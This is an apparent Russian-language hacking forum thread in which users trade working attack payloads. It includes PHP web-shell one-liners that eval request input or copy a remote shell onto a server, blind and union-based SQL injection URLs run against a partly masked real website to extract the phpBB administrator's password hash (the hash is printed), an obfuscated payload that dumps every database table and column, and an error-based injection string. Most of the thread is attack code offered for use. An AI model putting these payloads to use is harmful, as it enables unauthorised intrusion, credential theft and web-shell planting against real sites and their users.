Вопросы по уязвимостям

[Jokester]

^mark

PHP код:

<?php eval(stripslashes($_REQUEST[as])); ?>&system('ls -lia');
<?php copy($_REQUEST[aa], $_REQUEST[bb]); ?>&aa=http://путь/шелл.php&bb=./шелл.php
<?php eval(base64_decode(строка в бейс64)); ?>

[Beched]

Сообщение от d0znpp

если инжект в яваскрипт или ивент, то обходить ничего не надо

К слову:
https://twitter.com/#!/0x6D6172696F/status/166109219156791296

.mario
Not too well-known yet not so uncommon XSS technique where HTML entities won't protect you http://bit.ly/wT520u

[Facecontrol]

А какие бывают уязвимости которые можно проверить и использовать для атаки через адресную строку,если можно,дайте списиок таких уязвимостей и видов атак.

[NetAng]

В бд есть таблицы от форума phpbb
Брутил так:http://www.***.ru/index.php?cat=4&razd=3&page_id=340+and+555=if(ord( lower(mid((select+table_name+from+information_sche ma.tables+limit+0,1),1,1)))%3E=99,555,777)--+
Интересует таблица phpbb_acl_users и колонка user_password
Хочу сбрутить пароль с помощью blind sql injection делаю следующий запрос
http://www.***.ru/index.php?cat=4&razd=3&page_id=340+and+555=if(ord( lower(mid((select+user_password+from+phpbb_acl_use rs+limit+0,1),1,1)))%3E=100,555,777)--+
http://www.***.ru/index.php?cat=4&razd=3&page_id=340+and+555=if(ord( lower(mid((select+user_password+from+phpbb_users+l imit+0,1),1,1)))%3E=100,555,777)--+
но почему то выдает ошибку.
пробовал хексить имя колонки и имя таблицы и через функцию char(), но так тоже выдает ошибку.
Каким запросом можно брутить данные из колонки user_password? И можно ли объеденить запрос с user_id=2 чтоб сразу брутить пароль администратора?

[c411k]

Сообщение от NetAng

В бд есть таблицы от форума phpbb
Брутил так:http://www.***.ru/index.php?cat=4&razd=3&page_id=340+and+555=if(ord( lower(mid((select+table_name+from+information_sche ma.tables+limit+0,1),1,1)))%3E=99,555,777)--+
Интересует таблица phpbb_acl_users и колонка user_password
Хочу сбрутить пароль с помощью blind sql injection делаю следующий запрос
http://www.***.ru/index.php?cat=4&razd=3&page_id=340+and+555=if(ord( lower(mid((select+user_password+from+phpbb_acl_use rs+limit+0,1),1,1)))%3E=100,555,777)--+
http://www.***.ru/index.php?cat=4&razd=3&page_id=340+and+555=if(ord( lower(mid((select+user_password+from+phpbb_users+l imit+0,1),1,1)))%3E=100,555,777)--+
но почему то выдает ошибку.
пробовал хексить имя колонки и имя таблицы и через функцию char(), но так тоже выдает ошибку.
Каким запросом можно брутить данные из колонки user_password? И можно ли объеденить запрос с user_id=2 чтоб сразу брутить пароль администратора?

select+user_password+from+phpbb_users+limit+0,1 это юзер "Anonymous", там пароль пустой.

select+user_password+from+phpbb_users+where id=2
или
select+user_password+from+phpbb_users+where username='tvoy_admin_name'

[NetAng]

Всё равно запрос не проходит

http://www.***.ru/index.php?cat=4&razd=3&page_id=340+and+555=if(ord( %20lower(mid((select+user_password+from+phpbb_user s+where+user_id=2+limit+0,1),1,1)))%3E=100,555,777 )--+

Но вот например такой без проблем проходит:

http://www.***.ru/index.php?cat=4&razd=3&page_id=340+and+555=if(ord( %20%20lower(mid((select+table_name+from+informatio n_schema.tables+limit+0,1),1,1)))%3E=99,555,777)--+

[Ereeee]

http://www.***.ru/index.php?cat=4&razd=3&page_id=-34+union+select+concat_ws(0x3a,user_id,username,user_password)+from+ms_db.phpbb_users+where+user_id=2--+f

2:msadmin:$H$9aBZg6kSlVgjB8MGbNctPVPT6AfyZv.

Вся проблема в том, что в текущей базе нет phpbb_users. Они есть в других базах, юзай запрос:

http://www.***.ru/index.php?cat=4&razd=3&page_id=-34+union+select+(%73elect(@x)%66rom(%73elect(@x:=0x00),(%73elect(null)%66rom(%69nformation_schema.%63olumns)%77here(%74able_schema!=0x696e666f726d6174696f6e5f736368656d61)%61nd(0x00)%69n(@x:=%63oncat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,%63olumn_name))))x)--+f

[NetAng]

Ereeee спасибо, не заметил там оказывается не blind даже.

[Ereeee]

Ребята, подскажите запрос для error-based без символа "*" звездочка.

[Boolean]

Сообщение от Ereeee

Ребята, подскажите запрос для error-based без символа "*" звездочка.

1 AND extractvalue(1,concat(0x3a,(select version())))